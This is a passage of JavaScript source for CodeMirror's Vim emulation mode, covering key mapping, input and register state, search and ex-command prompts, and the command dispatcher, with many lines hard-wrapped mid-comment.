      // controller anyways.
      getRegisterController: function() {
        return vimGlobalState.registerController;
      },
      // Testing hook.
      resetVimGlobalState_: resetVimGlobalState,

      // Testing hook.
      getVimGlobalState_: function() {
        return vimGlobalState;
      },

      // Testing hook.
      maybeInitVimState_: maybeInitVimState,

      suppressErrorLogging: false,

      InsertModeKey: InsertModeKey,
      map: function(lhs, rhs, ctx) {
        // Add user defined key bindings.
        exCommandDispatcher.map(lhs, rhs, ctx);
      },
      unmap: function(lhs, ctx) {
        exCommandDispatcher.unmap(lhs, ctx);
      },
      // Non-recursive map function.
      // NOTE: This will not create mappings to key maps that aren't
present
      // in the default key map. See TODO at bottom of function.
      noremap: function(lhs, rhs, ctx) {
        function toCtxArray(ctx) {
          return ctx ? [ctx] : ['normal', 'insert',
'visual'];
        }
        var ctxsToMap = toCtxArray(ctx);
        // Look through all actual defaults to find a map candidate.
        var actualLength = defaultKeymap.length, origLength =
defaultKeymapLength;
        for (var i = actualLength - origLength;
             i < actualLength && ctxsToMap.length;
             i++) {
          var mapping = defaultKeymap[i];
          // Omit mappings that operate in the wrong context(s) and those
of invalid type.
          if (mapping.keys == rhs &&
              (!ctx || !mapping.context || mapping.context === ctx)
&&
              mapping.type.substr(0, 2) !== 'ex' &&
              mapping.type.substr(0, 3) !== 'key') {
            // Make a shallow copy of the original keymap entry.
            var newMapping = {};
            for (var key in mapping) {
              newMapping[key] = mapping[key];
            }
            // Modify it point to the new mapping with the proper context.
            newMapping.keys = lhs;
            if (ctx && !newMapping.context) {
              newMapping.context = ctx;
            }
            // Add it to the keymap with a higher priority than the
original.
            this._mapCommand(newMapping);
            // Record the mapped contexts as complete.
            var mappedCtxs = toCtxArray(mapping.context);
            ctxsToMap = ctxsToMap.filter(function(el) { return
mappedCtxs.indexOf(el) === -1; });
          }
        }
        // TODO: Create non-recursive keyToKey mappings for the unmapped
contexts once those exist.
      },
      // Remove all user-defined mappings for the provided context.
      mapclear: function(ctx) {
        // Partition the existing keymap into user-defined and true
defaults.
        var actualLength = defaultKeymap.length,
            origLength = defaultKeymapLength;
        var userKeymap = defaultKeymap.slice(0, actualLength - origLength);
        defaultKeymap = defaultKeymap.slice(actualLength - origLength);
        if (ctx) {
          // If a specific context is being cleared, we need to keep
mappings
          // from all other contexts.
          for (var i = userKeymap.length - 1; i >= 0; i--) {
            var mapping = userKeymap[i];
            if (ctx !== mapping.context) {
              if (mapping.context) {
                this._mapCommand(mapping);
              } else {
                // `mapping` applies to all contexts so create keymap
copies
                // for each context except the one being cleared.
                var contexts = ['normal', 'insert',
'visual'];
                for (var j in contexts) {
                  if (contexts[j] !== ctx) {
                    var newMapping = {};
                    for (var key in mapping) {
                      newMapping[key] = mapping[key];
                    }
                    newMapping.context = contexts[j];
                    this._mapCommand(newMapping);
                  }
                }
              }
            }
          }
        }
      },
      // TODO: Expose setOption and getOption as instance methods. Need to
decide how to namespace
      // them, or somehow make them work with the existing CodeMirror
setOption/getOption API.
      setOption: setOption,
      getOption: getOption,
      defineOption: defineOption,
      defineEx: function(name, prefix, func){
        if (!prefix) {
          prefix = name;
        } else if (name.indexOf(prefix) !== 0) {
          throw new Error('(Vim.defineEx)
"'+prefix+'" is not a prefix of
"'+name+'", command not registered');
        }
        exCommands[name]=func;
        exCommandDispatcher.commandMap_[prefix]={name:name,
shortName:prefix, type:'api'};
      },
      handleKey: function (cm, key, origin) {
        var command = this.findKey(cm, key, origin);
        if (typeof command === 'function') {
          return command();
        }
      },
      /**
       * This is the outermost function called by CodeMirror, after keys
have
       * been mapped to their Vim equivalents.
       *
       * Finds a command based on the key (and cached keys if there is a
       * multi-key sequence). Returns `undefined` if no key is matched, a
noop
       * function if a partial match is found (multi-key), and a function
to
       * execute the bound command if a a key is matched. The function
always
       * returns true.
       */
      findKey: function(cm, key, origin) {
        var vim = maybeInitVimState(cm);
        function handleMacroRecording() {
          var macroModeState = vimGlobalState.macroModeState;
          if (macroModeState.isRecording) {
            if (key == 'q') {
              macroModeState.exitMacroRecordMode();
              clearInputState(cm);
              return true;
            }
            if (origin != 'mapping') {
              logKey(macroModeState, key);
            }
          }
        }
        function handleEsc() {
          if (key == '<Esc>') {
            // Clear input state and get back to normal mode.
            clearInputState(cm);
            if (vim.visualMode) {
              exitVisualMode(cm);
            } else if (vim.insertMode) {
              exitInsertMode(cm);
            }
            return true;
          }
        }
        function doKeyToKey(keys) {
          // TODO: prevent infinite recursion.
          var match;
          while (keys) {
            // Pull off one command key, which is either a single character
            // or a special sequence wrapped in '<' and
'>', e.g. '<Space>'.
            match = (/<\w+-.+?>|<\w+>|./).exec(keys);
            key = match[0];
            keys = keys.substring(match.index + key.length);
            CodeMirror.Vim.handleKey(cm, key, 'mapping');
          }
        }

        function handleKeyInsertMode() {
          if (handleEsc()) { return true; }
          var keys = vim.inputState.keyBuffer = vim.inputState.keyBuffer +
key;
          var keysAreChars = key.length == 1;
          var match = commandDispatcher.matchCommand(keys, defaultKeymap,
vim.inputState, 'insert');
          // Need to check all key substrings in insert mode.
          while (keys.length > 1 && match.type !=
'full') {
            var keys = vim.inputState.keyBuffer = keys.slice(1);
            var thisMatch = commandDispatcher.matchCommand(keys,
defaultKeymap, vim.inputState, 'insert');
            if (thisMatch.type != 'none') { match = thisMatch; }
          }
          if (match.type == 'none') { clearInputState(cm); return
false; }
          else if (match.type == 'partial') {
            if (lastInsertModeKeyTimer) {
window.clearTimeout(lastInsertModeKeyTimer); }
            lastInsertModeKeyTimer = window.setTimeout(
              function() { if (vim.insertMode &&
vim.inputState.keyBuffer) { clearInputState(cm); } },
              getOption('insertModeEscKeysTimeout'));
            return !keysAreChars;
          }

          if (lastInsertModeKeyTimer) {
window.clearTimeout(lastInsertModeKeyTimer); }
          if (keysAreChars) {
            var selections = cm.listSelections();
            for (var i = 0; i < selections.length; i++) {
              var here = selections[i].head;
              cm.replaceRange('', offsetCursor(here, 0,
-(keys.length - 1)), here, '+input');
            }
           
vimGlobalState.macroModeState.lastInsertModeChanges.changes.pop();
          }
          clearInputState(cm);
          return match.command;
        }

        function handleKeyNonInsertMode() {
          if (handleMacroRecording() || handleEsc()) { return true; }

          var keys = vim.inputState.keyBuffer = vim.inputState.keyBuffer +
key;
          if (/^[1-9]\d*$/.test(keys)) { return true; }

          var keysMatcher = /^(\d*)(.*)$/.exec(keys);
          if (!keysMatcher) { clearInputState(cm); return false; }
          var context = vim.visualMode ? 'visual' :
                                         'normal';
          var match = commandDispatcher.matchCommand(keysMatcher[2] ||
keysMatcher[1], defaultKeymap, vim.inputState, context);
          if (match.type == 'none') { clearInputState(cm); return
false; }
          else if (match.type == 'partial') { return true; }

          vim.inputState.keyBuffer = '';
          var keysMatcher = /^(\d*)(.*)$/.exec(keys);
          if (keysMatcher[1] && keysMatcher[1] != '0') {
            vim.inputState.pushRepeatDigit(keysMatcher[1]);
          }
          return match.command;
        }

        var command;
        if (vim.insertMode) { command = handleKeyInsertMode(); }
        else { command = handleKeyNonInsertMode(); }
        if (command === false) {
          return !vim.insertMode && key.length === 1 ? function() {
return true; } : undefined;
        } else if (command === true) {
          // TODO: Look into using CodeMirror's multi-key handling.
          // Return no-op since we are caching the key. Counts as handled,
but
          // don't want act on it just yet.
          return function() { return true; };
        } else {
          return function() {
            return cm.operation(function() {
              cm.curOp.isVimOp = true;
              try {
                if (command.type == 'keyToKey') {
                  doKeyToKey(command.toKeys);
                } else {
                  commandDispatcher.processCommand(cm, vim, command);
                }
              } catch (e) {
                // clear VIM state in case it's in a bad state.
                cm.state.vim = undefined;
                maybeInitVimState(cm);
                if (!CodeMirror.Vim.suppressErrorLogging) {
                  console['log'](e);
                }
                throw e;
              }
              return true;
            });
          };
        }
      },
      handleEx: function(cm, input) {
        exCommandDispatcher.processCommand(cm, input);
      },

      defineMotion: defineMotion,
      defineAction: defineAction,
      defineOperator: defineOperator,
      mapCommand: mapCommand,
      _mapCommand: _mapCommand,

      defineRegister: defineRegister,

      exitVisualMode: exitVisualMode,
      exitInsertMode: exitInsertMode
    };

    // Represents the current input state.
    function InputState() {
      this.prefixRepeat = [];
      this.motionRepeat = [];

      this.operator = null;
      this.operatorArgs = null;
      this.motion = null;
      this.motionArgs = null;
      this.keyBuffer = []; // For matching multi-key commands.
      this.registerName = null; // Defaults to the unnamed register.
    }
    InputState.prototype.pushRepeatDigit = function(n) {
      if (!this.operator) {
        this.prefixRepeat = this.prefixRepeat.concat(n);
      } else {
        this.motionRepeat = this.motionRepeat.concat(n);
      }
    };
    InputState.prototype.getRepeat = function() {
      var repeat = 0;
      if (this.prefixRepeat.length > 0 || this.motionRepeat.length >
0) {
        repeat = 1;
        if (this.prefixRepeat.length > 0) {
          repeat *= parseInt(this.prefixRepeat.join(''), 10);
        }
        if (this.motionRepeat.length > 0) {
          repeat *= parseInt(this.motionRepeat.join(''), 10);
        }
      }
      return repeat;
    };

    function clearInputState(cm, reason) {
      cm.state.vim.inputState = new InputState();
      CodeMirror.signal(cm, 'vim-command-done', reason);
    }

    /*
     * Register stores information about copy and paste registers.  Besides
     * text, a register must store whether it is linewise (i.e., when it is
     * pasted, should it insert itself into a new line, or should the text
be
     * inserted at the cursor position.)
     */
    function Register(text, linewise, blockwise) {
      this.clear();
      this.keyBuffer = [text || ''];
      this.insertModeChanges = [];
      this.searchQueries = [];
      this.linewise = !!linewise;
      this.blockwise = !!blockwise;
    }
    Register.prototype = {
      setText: function(text, linewise, blockwise) {
        this.keyBuffer = [text || ''];
        this.linewise = !!linewise;
        this.blockwise = !!blockwise;
      },
      pushText: function(text, linewise) {
        // if this register has ever been set to linewise, use linewise.
        if (linewise) {
          if (!this.linewise) {
            this.keyBuffer.push('\n');
          }
          this.linewise = true;
        }
        this.keyBuffer.push(text);
      },
      pushInsertModeChanges: function(changes) {
        this.insertModeChanges.push(createInsertModeChanges(changes));
      },
      pushSearchQuery: function(query) {
        this.searchQueries.push(query);
      },
      clear: function() {
        this.keyBuffer = [];
        this.insertModeChanges = [];
        this.searchQueries = [];
        this.linewise = false;
      },
      toString: function() {
        return this.keyBuffer.join('');
      }
    };

    /**
     * Defines an external register.
     *
     * The name should be a single character that will be used to reference
the register.
     * The register should support setText, pushText, clear, and
toString(). See Register
     * for a reference implementation.
     */
    function defineRegister(name, register) {
      var registers = vimGlobalState.registerController.registers;
      if (!name || name.length != 1) {
        throw Error('Register name must be 1 character');
      }
      if (registers[name]) {
        throw Error('Register already defined ' + name);
      }
      registers[name] = register;
      validRegisters.push(name);
    }

    /*
     * vim registers allow you to keep many independent copy and paste
buffers.
     * See http://usevim.com/2012/04/13/registers/ for an introduction.
     *
     * RegisterController keeps the state of all the registers.  An initial
     * state may be passed in.  The unnamed register '"'
will always be
     * overridden.
     */
    function RegisterController(registers) {
      this.registers = registers;
      this.unnamedRegister = registers['"'] = new
Register();
      registers['.'] = new Register();
      registers[':'] = new Register();
      registers['/'] = new Register();
    }
    RegisterController.prototype = {
      pushText: function(registerName, operator, text, linewise, blockwise)
{
        if (linewise && text.charAt(text.length - 1) !==
'\n'){
          text += '\n';
        }
        // Lowercase and uppercase registers refer to the same register.
        // Uppercase just means append.
        var register = this.isValidRegister(registerName) ?
            this.getRegister(registerName) : null;
        // if no register/an invalid register was specified, things go to
the
        // default registers
        if (!register) {
          switch (operator) {
            case 'yank':
              // The 0 register contains the text from the most recent
yank.
              this.registers['0'] = new Register(text, linewise,
blockwise);
              break;
            case 'delete':
            case 'change':
              if (text.indexOf('\n') == -1) {
                // Delete less than 1 line. Update the small delete
register.
                this.registers['-'] = new Register(text,
linewise);
              } else {
                // Shift down the contents of the numbered registers and
put the
                // deleted text into register 1.
                this.shiftNumericRegisters_();
                this.registers['1'] = new Register(text,
linewise);
              }
              break;
          }
          // Make sure the unnamed register is set to what just happened
          this.unnamedRegister.setText(text, linewise, blockwise);
          return;
        }

        // If we've gotten to this point, we've actually
specified a register
        var append = isUpperCase(registerName);
        if (append) {
          register.pushText(text, linewise);
        } else {
          register.setText(text, linewise, blockwise);
        }
        // The unnamed register always has the same value as the last used
        // register.
        this.unnamedRegister.setText(register.toString(), linewise);
      },
      // Gets the register named @name.  If one of @name doesn't
already exist,
      // create it.  If @name is invalid, return the unnamedRegister.
      getRegister: function(name) {
        if (!this.isValidRegister(name)) {
          return this.unnamedRegister;
        }
        name = name.toLowerCase();
        if (!this.registers[name]) {
          this.registers[name] = new Register();
        }
        return this.registers[name];
      },
      isValidRegister: function(name) {
        return name && inArray(name, validRegisters);
      },
      shiftNumericRegisters_: function() {
        for (var i = 9; i >= 2; i--) {
          this.registers[i] = this.getRegister('' + (i - 1));
        }
      }
    };
    function HistoryController() {
        this.historyBuffer = [];
        this.iterator = 0;
        this.initialPrefix = null;
    }
    HistoryController.prototype = {
      // the input argument here acts a user entered prefix for a small
time
      // until we start autocompletion in which case it is the
autocompleted.
      nextMatch: function (input, up) {
        var historyBuffer = this.historyBuffer;
        var dir = up ? -1 : 1;
        if (this.initialPrefix === null) this.initialPrefix = input;
        for (var i = this.iterator + dir; up ? i >= 0 : i <
historyBuffer.length; i+= dir) {
          var element = historyBuffer[i];
          for (var j = 0; j <= element.length; j++) {
            if (this.initialPrefix == element.substring(0, j)) {
              this.iterator = i;
              return element;
            }
          }
        }
        // should return the user input in case we reach the end of buffer.
        if (i >= historyBuffer.length) {
          this.iterator = historyBuffer.length;
          return this.initialPrefix;
        }
        // return the last autocompleted query or exCommand as it is.
        if (i < 0 ) return input;
      },
      pushInput: function(input) {
        var index = this.historyBuffer.indexOf(input);
        if (index > -1) this.historyBuffer.splice(index, 1);
        if (input.length) this.historyBuffer.push(input);
      },
      reset: function() {
        this.initialPrefix = null;
        this.iterator = this.historyBuffer.length;
      }
    };
    var commandDispatcher = {
      matchCommand: function(keys, keyMap, inputState, context) {
        var matches = commandMatches(keys, keyMap, context, inputState);
        if (!matches.full && !matches.partial) {
          return {type: 'none'};
        } else if (!matches.full && matches.partial) {
          return {type: 'partial'};
        }

        var bestMatch;
        for (var i = 0; i < matches.full.length; i++) {
          var match = matches.full[i];
          if (!bestMatch) {
            bestMatch = match;
          }
        }
        if (bestMatch.keys.slice(-11) == '<character>') {
          var character = lastChar(keys);
          if (!character) return {type: 'none'};
          inputState.selectedCharacter = character;
        }
        return {type: 'full', command: bestMatch};
      },
      processCommand: function(cm, vim, command) {
        vim.inputState.repeatOverride = command.repeatOverride;
        switch (command.type) {
          case 'motion':
            this.processMotion(cm, vim, command);
            break;
          case 'operator':
            this.processOperator(cm, vim, command);
            break;
          case 'operatorMotion':
            this.processOperatorMotion(cm, vim, command);
            break;
          case 'action':
            this.processAction(cm, vim, command);
            break;
          case 'search':
            this.processSearch(cm, vim, command);
            break;
          case 'ex':
          case 'keyToEx':
            this.processEx(cm, vim, command);
            break;
          default:
            break;
        }
      },
      processMotion: function(cm, vim, command) {
        vim.inputState.motion = command.motion;
        vim.inputState.motionArgs = copyArgs(command.motionArgs);
        this.evalInput(cm, vim);
      },
      processOperator: function(cm, vim, command) {
        var inputState = vim.inputState;
        if (inputState.operator) {
          if (inputState.operator == command.operator) {
            // Typing an operator twice like 'dd' makes the
operator operate
            // linewise
            inputState.motion = 'expandToLine';
            inputState.motionArgs = { linewise: true };
            this.evalInput(cm, vim);
            return;
          } else {
            // 2 different operators in a row doesn't make sense.
            clearInputState(cm);
          }
        }
        inputState.operator = command.operator;
        inputState.operatorArgs = copyArgs(command.operatorArgs);
        if (command.exitVisualBlock) {
            vim.visualBlock = false;
            updateCmSelection(cm);
        }
        if (vim.visualMode) {
          // Operating on a selection in visual mode. We don't need a
motion.
          this.evalInput(cm, vim);
        }
      },
      processOperatorMotion: function(cm, vim, command) {
        var visualMode = vim.visualMode;
        var operatorMotionArgs = copyArgs(command.operatorMotionArgs);
        if (operatorMotionArgs) {
          // Operator motions may have special behavior in visual mode.
          if (visualMode && operatorMotionArgs.visualLine) {
            vim.visualLine = true;
          }
        }
        this.processOperator(cm, vim, command);
        if (!visualMode) {
          this.processMotion(cm, vim, command);
        }
      },
      processAction: function(cm, vim, command) {
        var inputState = vim.inputState;
        var repeat = inputState.getRepeat();
        var repeatIsExplicit = !!repeat;
        var actionArgs = copyArgs(command.actionArgs) || {};
        if (inputState.selectedCharacter) {
          actionArgs.selectedCharacter = inputState.selectedCharacter;
        }
        // Actions may or may not have motions and operators. Do these
first.
        if (command.operator) {
          this.processOperator(cm, vim, command);
        }
        if (command.motion) {
          this.processMotion(cm, vim, command);
        }
        if (command.motion || command.operator) {
          this.evalInput(cm, vim);
        }
        actionArgs.repeat = repeat || 1;
        actionArgs.repeatIsExplicit = repeatIsExplicit;
        actionArgs.registerName = inputState.registerName;
        clearInputState(cm);
        vim.lastMotion = null;
        if (command.isEdit) {
          this.recordLastEdit(vim, inputState, command);
        }
        actions[command.action](cm, actionArgs, vim);
      },
      processSearch: function(cm, vim, command) {
        if (!cm.getSearchCursor) {
          // Search depends on SearchCursor.
          return;
        }
        var forward = command.searchArgs.forward;
        var wholeWordOnly = command.searchArgs.wholeWordOnly;
        getSearchState(cm).setReversed(!forward);
        var promptPrefix = (forward) ? '/' : '?';
        var originalQuery = getSearchState(cm).getQuery();
        var originalScrollPos = cm.getScrollInfo();
        function handleQuery(query, ignoreCase, smartCase) {
          vimGlobalState.searchHistoryController.pushInput(query);
          vimGlobalState.searchHistoryController.reset();
          try {
            updateSearchQuery(cm, query, ignoreCase, smartCase);
          } catch (e) {
            showConfirm(cm, 'Invalid regex: ' + query);
            clearInputState(cm);
            return;
          }
          commandDispatcher.processMotion(cm, vim, {
            type: 'motion',
            motion: 'findNext',
            motionArgs: { forward: true, toJumplist:
command.searchArgs.toJumplist }
          });
        }
        function onPromptClose(query) {
          cm.scrollTo(originalScrollPos.left, originalScrollPos.top);
          handleQuery(query, true /** ignoreCase */, true /** smartCase
*/);
          var macroModeState = vimGlobalState.macroModeState;
          if (macroModeState.isRecording) {
            logSearchQuery(macroModeState, query);
          }
        }
        function onPromptKeyUp(e, query, close) {
          var keyName = CodeMirror.keyName(e), up, offset;
          if (keyName == 'Up' || keyName == 'Down') {
            up = keyName == 'Up' ? true : false;
            offset = e.target ? e.target.selectionEnd : 0;
            query = vimGlobalState.searchHistoryController.nextMatch(query,
up) || '';
            close(query);
            if (offset && e.target) e.target.selectionEnd =
e.target.selectionStart = Math.min(offset, e.target.value.length);
          } else {
            if ( keyName != 'Left' && keyName !=
'Right' && keyName != 'Ctrl' && keyName
!= 'Alt' && keyName != 'Shift')
              vimGlobalState.searchHistoryController.reset();
          }
          var parsedQuery;
          try {
            parsedQuery = updateSearchQuery(cm, query,
                true /** ignoreCase */, true /** smartCase */);
          } catch (e) {
            // Swallow bad regexes for incremental search.
          }
          if (parsedQuery) {
            cm.scrollIntoView(findNext(cm, !forward, parsedQuery), 30);
          } else {
            clearSearchHighlight(cm);
            cm.scrollTo(originalScrollPos.left, originalScrollPos.top);
          }
        }
        function onPromptKeyDown(e, query, close) {
          var keyName = CodeMirror.keyName(e);
          if (keyName == 'Esc' || keyName == 'Ctrl-C'
|| keyName == 'Ctrl-[' ||
              (keyName == 'Backspace' && query ==
'')) {
            vimGlobalState.searchHistoryController.pushInput(query);
            vimGlobalState.searchHistoryController.reset();
            updateSearchQuery(cm, originalQuery);
            clearSearchHighlight(cm);
            cm.scrollTo(originalScrollPos.left, originalScrollPos.top);
            CodeMirror.e_stop(e);
            clearInputState(cm);
            close();
            cm.focus();
          } else if (keyName == 'Up' || keyName ==
'Down') {
            CodeMirror.e_stop(e);
          } else if (keyName == 'Ctrl-U') {
            // Ctrl-U clears input.
            CodeMirror.e_stop(e);
            close('');
          }
        }
        switch (command.searchArgs.querySrc) {
          case 'prompt':
            var macroModeState = vimGlobalState.macroModeState;
            if (macroModeState.isPlaying) {
              var query = macroModeState.replaySearchQueries.shift();
              handleQuery(query, true /** ignoreCase */, false /**
smartCase */);
            } else {
              showPrompt(cm, {
                  onClose: onPromptClose,
                  prefix: promptPrefix,
                  desc: searchPromptDesc,
                  onKeyUp: onPromptKeyUp,
                  onKeyDown: onPromptKeyDown
              });
            }
            break;
          case 'wordUnderCursor':
            var word = expandWordUnderCursor(cm, false /** inclusive */,
                true /** forward */, false /** bigWord */,
                true /** noSymbol */);
            var isKeyword = true;
            if (!word) {
              word = expandWordUnderCursor(cm, false /** inclusive */,
                  true /** forward */, false /** bigWord */,
                  false /** noSymbol */);
              isKeyword = false;
            }
            if (!word) {
              return;
            }
            var query =
cm.getLine(word.start.line).substring(word.start.ch,
                word.end.ch);
            if (isKeyword && wholeWordOnly) {
                query = '\\b' + query + '\\b';
            } else {
              query = escapeRegex(query);
            }

            // cachedCursor is used to save the old position of the cursor
            // when * or # causes vim to seek for the nearest word and
shift
            // the cursor before entering the motion.
            vimGlobalState.jumpList.cachedCursor = cm.getCursor();
            cm.setCursor(word.start);

            handleQuery(query, true /** ignoreCase */, false /** smartCase
*/);
            break;
        }
      },
      processEx: function(cm, vim, command) {
        function onPromptClose(input) {
          // Give the prompt some time to close so that if processCommand
shows
          // an error, the elements don't overlap.
          vimGlobalState.exCommandHistoryController.pushInput(input);
          vimGlobalState.exCommandHistoryController.reset();
          exCommandDispatcher.processCommand(cm, input);
        }
        function onPromptKeyDown(e, input, close) {
          var keyName = CodeMirror.keyName(e), up, offset;
          if (keyName == 'Esc' || keyName == 'Ctrl-C'
|| keyName == 'Ctrl-[' ||
              (keyName == 'Backspace' && input ==
'')) {
            vimGlobalState.exCommandHistoryController.pushInput(input);
            vimGlobalState.exCommandHistoryController.reset();
            CodeMirror.e_stop(e);
            clearInputState(cm);
            close();
            cm.focus();
          }
          if (keyName == 'Up' || keyName == 'Down') {
            CodeMirror.e_stop(e);
            up = keyName == 'Up' ? true : false;
            offset = e.target ? e.target.selectionEnd : 0;
            input =
vimGlobalState.exCommandHistoryController.nextMatch(input, up) ||
'';
            close(input);
            if (offset && e.target) e.target.selectionEnd =
e.target.selectionStart = Math.min(offset, e.target.value.length);
          } else if (keyName == 'Ctrl-U') {
            // Ctrl-U clears input.
            CodeMirror.e_stop(e);
            close('');
          } else {
            if ( keyName != 'Left' && keyName !=
'Right' && keyName != 'Ctrl' && keyName
!= 'Alt' && keyName != 'Shift')
              vimGlobalState.exCommandHistoryController.reset();
          }
        }
        if (command.type == 'keyToEx') {
          // Handle user defined Ex to Ex mappings
          exCommandDispatcher.processCommand(cm, command.exArgs.input);
        } else {
          if (vim.visualMode) {
            showPrompt(cm, { onClose: onPromptClose, prefix: ':',
value: '\'<,\'>',
                onKeyDown: onPromptKeyDown, selectValueOnOpen: false});
          } else {
            showPrompt(cm, { onClose: onPromptClose, prefix: ':',
                onKeyDown: onPromptKeyDown});
          }
        }
      },
      evalInput: function(cm, vim) {
        // If the motion command is set, execute both the operator and
motion.
        // Otherwise return.
        var inputState = vim.inputState;
        var motion = inputState.motion;
        var motionArgs = inputState.motionArgs || {};
        var operator = inputState.operator;
        var operatorArgs = inputState.operatorArgs || {};
        var registerName = inputState.registerName;
        var sel = vim.sel;
        // TODO: Make sure cm and vim selections are identical outside
visual mode.
        var origHead = copyCursor(vim.visualMode ? clipCursorToContent(cm,
sel.head): cm.getCursor('head'));
        var origAnchor = copyCursor(vim.visualMode ?
clipCursorToContent(cm, sel.anchor) : cm.getCursor('anchor'));
        var oldHead = copyCursor(origHead);
        var oldAnchor = copyCursor(origAnchor);
        var newHead, newAnchor;
        var repeat;
        if (operator) {
          this.recordLastEdit(vim, inputState);
        }
        if (inputState.repeatOverride !== undefined) {
          // If repeatOverride is specified, that takes precedence over the
          // input state's repeat. Used by Ex mode and can be user
defined.
          repeat = inputState.repeatOverride;
        } else {
          repeat = inputState.getRepeat();
        }
        if (repeat > 0 && motionArgs.explicitRepeat) {
          motionArgs.repeatIsExplicit = true;
        } else if (motionArgs.noRepeat ||
            (!motionArgs.explicitRepeat && repeat === 0)) {
          repeat = 1;
          motionArgs.repeatIsExplicit = false;
        }
        if (inputState.selectedCharacter) {
          // If there is a character input, stick it in all of the arg
arrays.
          motionArgs.selectedCharacter = operatorArgs.selectedCharacter =
              inputState.selectedCharacter;
        }
        motionArgs.repeat = repeat;
        clearInputState(cm);
        if (motion) {
          var motionResult = motions[motion](cm, origHead, motionArgs,
vim);
          vim.lastMotion = motions[motion];
          if (!motionResult) {
            return;
          }
          if (motionArgs.toJumplist) {
            var jumpList = vimGlobalState.jumpList;
            // if the current motion is # or *, use cachedCursor
            var cachedCursor = jumpList.cachedCursor;
            if (cachedCursor) {
              recordJumpPosition(cm, cachedCursor, motionResult);
              delete jumpList.cachedCursor;
            } else {
              recordJumpPosition(cm, origHead, motionResult);
            }
          }
          if (motionResult instanceof Array) {
            newAnchor = motionResult[0];
            newHead = motionResult[1];
          } else {
            newHead = motionResult;
          }
          // TODO: Handle null returns from motion commands better.
          if (!newHead) {
            newHead = copyCursor(origHead);
          }
          if (vim.visualMode) {
            if (!(vim.visualBlock && newHead.ch === Infinity)) {
              newHead = clipCursorToContent(cm, newHead);
            }
            if (newAnchor) {
              newAnchor = clipCursorToContent(cm, newAnchor);
            }
            newAnchor = newAnchor || oldAnchor;
            sel.anchor = newAnchor;
            sel.head = newHead;
            updateCmSelection(cm);
            updateMark(cm, vim, '<',
                cursorIsBefore(newAnchor, newHead) ? newAnchor
                    : newHead);
            updateMark(cm, vim, '>',
                cursorIsBefore(newAnchor, newHead) ? newHead
                    : newAnchor);
          } else if (!operator) {
            newHead = clipCursorToContent(cm, newHead);
            cm.setCursor(newHead.line, newHead.ch);
          }
        }
        if (operator) {
          if (operatorArgs.lastSel) {
            // Replaying a visual mode operation
            newAnchor = oldAnchor;
            var lastSel = operatorArgs.lastSel;
            var lineOffset = Math.abs(lastSel.head.line -
lastSel.anchor.line);
            var chOffset = Math.abs(lastSel.head.ch - lastSel.anchor.ch);
            if (lastSel.visualLine) {
              // Linewise Visual mode: The same number of lines.
              newHead = Pos(oldAnchor.line + lineOffset, oldAnchor.ch);
            } else if (lastSel.visualBlock) {
              // Blockwise Visual mode: The same number of lines and
columns.
              newHead = Pos(oldAnchor.line + lineOffset, oldAnchor.ch +
chOffset);
            } else if (lastSel.head.line == lastSel.anchor.line) {
              // Normal Visual mode within one line: The same number of
characters.
              newHead = Pos(oldAnchor.line, oldAnchor.ch + chOffset);
            } else {
              // Normal Visual mode with several lines: The same number of
lines, in the
              // last line the same number of characters as in the last
line the last time.
              newHead = Pos(oldAnchor.line + lineOffset, oldAnchor.ch);
            }
            vim.visualMode = true;
            vim.visualLine = lastSel.visualLine;
            vim.visualBlock = lastSel.visualBlock;
            sel = vim.sel = {
              anchor: newAnchor,
              head: newHead
            };
            updateCmSelection(cm);
          } else if (vim.visualMode) {
            operatorArgs.lastSel = {
              anchor: copyCursor(sel.anchor),
              head: copyCursor(sel.head),
              visualBlock: vim.visualBlock,
              visualLine: vim.visualLine
            };
          }
          var curStart, curEnd, linewise, mode;
          var cmSel;
          if (vim.visualMode) {
            // Init visual op
            curStart = cursorMin(sel.head, sel.anchor);
            curEnd = cursorMax(sel.head, sel.anchor);
            linewise = vim.visualLine || operatorArgs.linewise;
            mode = vim.visualBlock ? 'block' :
                   linewise ? 'line' :
                   'char';
            cmSel = makeCmSelection(cm, {
              anchor: curStart,
              head: curEnd
            }, mode);
            if (linewise) {
              var ranges = cmSel.ranges;
              if (mode == 'block') {
                // Linewise operators in visual block mode extend to end of
line
                for (var i = 0; i < ranges.length; i++) {
                  ranges[i].head.ch = lineLength(cm, ranges[i].head.line);
                }
              } else if (mode == 'line') {
                ranges[0].head = Pos(ranges[0].head.line + 1, 0);
              }
            }
          } else {
            // Init motion op
            curStart = copyCursor(newAnchor || oldAnchor);
            curEnd = copyCursor(newHead || oldHead);
            if (cursorIsBefore(curEnd, curStart)) {
              var tmp = curStart;
              curStart = curEnd;
              curEnd = tmp;
            }
            linewise = motionArgs.linewise || operatorArgs.linewise;
            if (linewise) {
              // Expand selection to entire line.
              expandSelectionToLine(cm, curStart, curEnd);
            } else if (motionArgs.forward) {
              // Clip to trailing newlines only if the motion goes forward.
              clipToLine(cm, curStart, curEnd);
            }
            mode = 'char';
            var exclusive = !motionArgs.inclusive || linewise;
            cmSel = makeCmSelection(cm, {
              anchor: curStart,
              head: curEnd
            }, mode, exclusive);
          }
          cm.setSelections(cmSel.ranges, cmSel.primary);
          vim.lastMotion = null;
          operatorArgs.repeat = repeat; // For indent in visual mode.
          operatorArgs.registerName = registerName;
          // Keep track of linewise as it affects how paste and change
behave.
          operatorArgs.linewise = linewise;
          var operatorMoveTo = operators[operator](
            cm, operatorArgs, cmSel.ranges, oldAnchor, newHead);
          if (vim.visualMode) {
            exitVisualMode(cm, operatorMoveTo != null);
          }
          if (operatorMoveTo) {
            cm.setCursor(operatorMoveTo);
          }
        }
      },
      recordLastEdit: function(vim, inputState, actionCommand) {
        var macroModeState = vimGlobalState.macroModeState;
        if (macroModeState.isPlaying) { return; }
        vim.lastEditInputState = inputState;
        vim.lastEditActionCommand = actionCommand;
        macroModeState.lastInsertModeChanges.changes = [];
        macroModeState.lastInsertModeChanges.expectCursorActivityForChange
= false;
        macroModeState.lastInsertModeChanges.visualBlock = vim.visualBlock
? vim.sel.head.line - vim.sel.anchor.line : 0;
      }
    };

    /**
     * typedef {Object{line:number,ch:number}} Cursor An object containing
the
     *     position of the cursor.
     */
    // All of the functions below return Cursor objects.
    var motions = {
      moveToTopLine: function(cm, _head, motionArgs) {
        var line = getUserVisibleLines(cm).top + motionArgs.repeat -1;
        return Pos(line,
findFirstNonWhiteSpaceCharacter(cm.getLine(line)));
      },
      moveToMiddleLine: function(cm) {
        var range = getUserVisibleLines(cm);
        var line = Math.floor((range.top + range.bottom) * 0.5);
        return Pos(line,
